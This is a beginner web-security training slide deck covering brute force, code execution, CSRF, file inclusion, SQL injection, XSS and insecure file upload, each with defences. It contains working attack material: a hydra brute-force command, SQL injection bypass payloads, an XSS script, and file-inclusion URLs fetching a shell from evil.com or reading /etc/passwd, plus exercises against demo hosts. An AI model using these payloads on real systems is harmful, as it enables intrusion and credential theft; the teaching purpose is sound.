websecurity-2/3

Web Application Security

for Beginners - Part 2Adzmely Mansor

[email protected]

Objective(s)

aid to better understand common exploitable vulnerabilities, how it been exploit, and reversely (re)develop a defensive mechanism securing web application deployed through best practice

Information Leakage & Improper Error Handling

Information LeakageApplication can unintentionally leak:

information about their configuration or internal workings

internal state via how long they take to process certain operations or via different responses to different inputs

information about their internal state through detailed or debug error messages

Information LeakageThis information can be leveraged to launch or even automate more powerful attacks

Possible information harvest:

Server (OS, version, ...)

Programming language (Language, version, ...)

Database (Oracle, MySQL, ...) - (Version, Schema, ...)

Debug/Error/Stacktraces - SQL Statement...

Information LeakageExercise: open http://demo.testfire.net

try to find as many as information possible

Information Leakage

Brute Force Attack

Brute Force Attacks

attempt to discover a password systematically

trying every possible combinations

until correct combination found

takes time - depend on password combination and complexity

Brute Force Attacks

brute force automation?

THC-Hydra

ultra fast network logon cracker

free - http://www.thc.org/thc-hydra/

http://www.thc.org/thc-hydra/

http://www.thc.org/thc-hydra/

Brute Force Attacks

brute force automation?

THC-Hydra supporting “cracks” for :AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Blocking Brute Force Attack

Locking Accounts

after several number of failed attempts

last at specific duration

admin intervention to un-lock

not the best option - possibility of mass DOS


do not use PREDICTABLE behavior

random fail/error messages

CAPTCHA after several failed attempt

second level password / secret question / OTP-SMS

combination of techniques


The Best Solution :

Enforce Complex Password

Pass Phrase instead of Pass ‘word’

Brute Force Attackscommon password list?

http://contest-2010.korelogic.com/wordlist.html

http://dazzlepod.com/site_media/txt/passwords.txt

etc

Brute Force Attacksssh brute force:

Brute Force Attackshttp POST form brute force:

Brute Force AttacksExercise: http-post brute force attack

open: http://demo.testfire.net/

go to login page

view the html source

craft your “hydra” brute force attack

hydra -V -l admin -P passwd.dic example.com http-post-form "/login.php:login=^USER^&pass=^PASS^&Submit=Login:Login Failed"

Code Execution

Code Execution

ability to execute command(s)/code on a target machine or in a target process

inject and execute shell code / scripting code

ability to fully take control of the target machine

PHP/Code Injectionthis is silly, hopefully nobody doing it:

Shell/Code Injectionthis is silly, hopefully nobody doing it:

Code Injection Prevention

Never trust user input(s)

sanitize

htmlentities / htmlspecialchars

strip_tags

etc

Code Injection PreventionAvoid using system/exec/shell_exec if possible

have to, make sure you sanitize and validate user input:

Code Execution: Exercise

open: http://188.241.117.154/__dv__/

go to “Command Execution” menu

display /etc/passwd file

Cross Site Request Forgery - CSRF

Cross Site Request Forgeryalso known as “one click attack” or “session riding”

works by forces/tricks an end user to execute unwanted actions on a web application in which he/she is currently authenticated

by sending through social engineering such as sending link via email/chat/etc

can compromised end user data/operation and even the entire web application

Cross Site Request Forgeryever see a link like this:

Cross Site Request Forgeryand the actual facts “id” are in sequence:

Cross Site Request Forgery

session validation user validation

0 0

0 1

1 0

1 1

Cross Site Request ForgeryCase 1: in some if not most cases, there is NO:

session checking for authenticated user

no validation of authorized user

authorized to delete your own “POST”, but

knowing the “id” sequence number anybody can delete random “POST” of a random “user”

NOT CSRF

Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection

session checking for authenticated user

validate as authorized user

Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection

Bro check this out, Rainbow ABC

Cross Site Request ForgeryPOST method will not save you ... !!!

Click for More

Cross Site Request ForgeryPOST method will not save you ... !!!

Cross Site Request ForgeryFamous CSRF attacks....

INGDirect.comable to transfer funds out of user bank account...

YouTube.comadded video to a user’s “Favourites”, flagged videos as in appropriate, etc....

SOURCE: https://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks/

etc


CSRF Preventions - user level

can mitigate CSRF risks by:

logging out

don’t “Remember Me”


CSRF Preventions - web sites countermeasures

CSRF token in all forms

limiting lifetime of sessions cookies

Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class

// Tokens are stored in session so you // have to initialize session datasession_start();// Then include the NoCSRF classrequire_once('nocsrf.php');

// Generate CSRF token to use in form hidden field$token = NoCSRF::generate( 'csrf_token' );

<form name="csrf_form" action="#" method="post"> <input type="hidden" name="csrf_token" value="<?php echo $token; ?>"> ...Other form inputs... <input type="submit" value="Send form"></form>

SOURCE: https://github.com/BKcore/NoCSRF

Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class

try{ // Run CSRF check, on POST data, in exception mode, // with a validity of 10 minutes, in one-time mode. NoCSRF::check( 'csrf_token', $_POST, true, 60*10, false ); // form parsing, DB inserts, etc.}catch ( Exception $e ){ // CSRF attack detected // discard request}

File Inclusion Exploit


Local/Remote File Inclusion

it allows attacker to include local/remote file

possible because of user-supplied input without proper validation

File Inclusion ExploitLocal/Remote File Inclusion can lead to

code execution on the web server

code execution on the client side through javascript and can lead to another attacks such as XSS - Cross Site Scripting

Denial of Service (DoS)

Data Theft/Manipulation

File Inclusion ExploitLFI/RFI Examples:

// This is obviously bad.. !//<?php if (isset( $_GET['page'] )){ include( $_GET['page'] ); }?>

<form method="get"> <select name="page"> <option value="news.php">Latest News</option> <option value="research.php">Research</option> </select> <input type="submit"></form>


Remote File Inclusion (RFI):

/vulnCode.php?page=http://evil.com/shell.php

Local File Inclusion (LFI):

/vulnCode.php?page=/etc/passwd


// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>

<form method="get"> <select name="page"> <option value="news">Latest News</option> <option value="research">Research</option> </select> <input type="submit"></form>


Remote File Inclusion (RFI):

/vulnCode.php?page=http://evil.com/shell.php?

Local File Inclusion (LFI):

/vulnCode.php?page=/tmp/phpcode

/vulnCode.php?page=/etc/passwd%00Null-B

yte Character

“?” cause “.php” considered as URI


Exercise:

open: http://188.241.117.154/__dv__/

http://188.241.117.154/__dv__/

http://188.241.117.154/__dv__/

Null Byte Injection%00

Null-Byte InjectionURL/WEB presentation as - %00

termination character / terminator

alter the intended logic of the application// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>

// http://www.example.com/vulnCode.php?page=/etc/passwd%00.php

Solution for Null-Byte/LFI/RFIinput VALIDATION eg: by using whitelist array

Null-Byte Injection

Exercise: Open: http://demo.testfire.net

file boot.ini located in root directory, by using null byte injection try to find a way to load the file

SQL Injection

SQL Injection

means - tricking an application into including unintended SQL commands in the data sent to a backend interpreter

backend interpreter take strings and interpret them as commands

SQL Injectionoccurs when user input is not filtered for escape characters

manipulation of SQL statements

no sanitization of user input

no type casting

not using proper method in query

placeholder

SQL InjectionTypical Impact

spy out or manipulate data

manipulate the DB server or access underlying OS

bypass authentication or gain admin privileges

Correlation with information leakage

attackers use error messages or codes to verify the success of an attack and gather informations

SQL Injection

http://example.com/news.php?newsID=’ OR ‘1’=’1’ --%20

SELECT * FROM users WHERE name = '' OR '1'='1' -- '

http://example.com/news.php?newsID=’ OR 1=1 --%20

SELECT * FROM users WHERE name = '' OR 1=1 -- '

SQL InjectionBypass Authentication

admin’ --

admin’ #

admin’ /*

‘ or 1=1 --

‘ or 1=1 #

‘ or 1=1 /*

by using placeholder method in SQL statement

SQL Injection

SQL Injection: Exercise

Open: http://demo.testfire.net

Task 1: Attempt to login without proper user credentials

Task 2: Read all user account names and password from database

given the table name is “users” and the fields are: userid, username & password

XSSCross Site Scripting

Cross Site Scriptingtypical vulnerability found in web application

enable to inject client-side script in web pages viewed

mainly because of not safely sanitizing/validating user input

two main types

non persistent XSS / reflected

persistent XSS / stored

non persistent XSS example:

Cross Site Scripting

// successfully attack by simple embed XSS attack in URI// index.php?name=guest<script>alert('attacked')</script>

Cross Site ScriptingXSS Preventions:

Data validation

<?php

// validate a US phone numberif (preg_match('/^((1-)?\d{3}-)\d{3}-\d{4}$/', $phone)) {

echo $phone . " is valid format.";

}


Data sanitzation

<?php

// sanitize HTML from the comment3$comment = strip_tags($_POST["comment"]);

?>


Output Escaping

<?php

// escape output sent to the browserecho "You searched for: " . htmlspecialchars($_GET["query"]);

?>


URL-Encode URL Query String Parameters

<?php

// URL Encode query string parametersecho "<a href=’http://example.com/?name=”.urlencode($name).”’>”;

?>

Cross Site Scripting: Exercise

Open: http://demo.testfire.net

Task 1: Find XSS from the page

Task 2: display value of amSessionId from page/site cookie

File Upload

File Uploadallowing a user to upload a file in a website:

potentially opening a “door” for attacks/exploits

without validations and protections:

user can upload a server side script / shell code

possibility totally pawned the server easily

File UploadFile Upload to Document root without validation

malicious user can access directly uploaded file through URL

putting the server totally vulnerable and open to possibility of total compromised

File UploadSample exploitable file upload

// upload to document root / no validation / accessible via URL//<?php$target_path = "uploads/";$target_path = $target_path . basename($_FILES['uploadedfile']['name']);if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";

} else {echo "There was an error uploading the file, please try again!";

}?>

http://www.php.net/basename

http://www.php.net/basename

http://www.php.net/echo

http://www.php.net/echo

File Upload - PreventionsMime Type Validation ?

a common mistake

eg: PHP $_FILES[‘uploadfile’][‘type’]

provided by the browser the user using

easily fake - by using automation tools / scripts /etc

File Upload - PreventionsBlock dangerous extensions / allow images extension only?

denied file upload other than image file extensions - jpg/png/gif/etc

quite a big list of extensions

possibility overridden by .htaccess file

AddType application/x-httpd-php .jpg

File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?

file with additional/double extensions

evilCode.php.fr - language extension file

executed as PHP by apache

File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?

file with additional/double extensions

if you are using AddHandler directive in apache:

evilCode.php.jpg - will be executed as PHP script

AddHandler php5-script .php

File Upload - PreventionsClient-Side validation?

client side validation such as javascript can be edited/disabled online on the fly using browser tools:

such as javascript console

by using chrome inspect element, you can directly edit any part related on the fly

attacker can develop custom script to upload file

File Upload - Solutionby using .htaccess in your upload folder

set:

set the ownership to root/superuser and only readable by others (apache/nobody) - 022 mask

php_flag engine off

File Upload - Solutionby using Directory directive in your httpd configuration

set:

<Directory /var/www/html/uploads> php_flag engine off</directory>

Resources Location Prediction

when everything else fails...

Resources Predictionscan web server using predicted list of common files/folders/CGIs

outdated vulnerable server software

directories listing / traversal

etc

Resources Predictionnikto - perl web scanner script

Social Engineering Attack

https://www.facebook.com/notes/facebook-security/national-cybersecurity-awareness-month-updates/10150335022240766

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

choose a target - simply by knowing their email / username / phone num / fullname - (Forgot your password)


Reset Password: two choices - email & sms


but!!! - “No longer have access to these?”


“I Cannot Access My Email”


“sometime” you will be prompted with this:


websecurity-2/3

Documents

force attacksssh brute

brute force attacksexercise

brute force attackopen

open http

information leakageexercise

password combination

cisco auth

oracle sid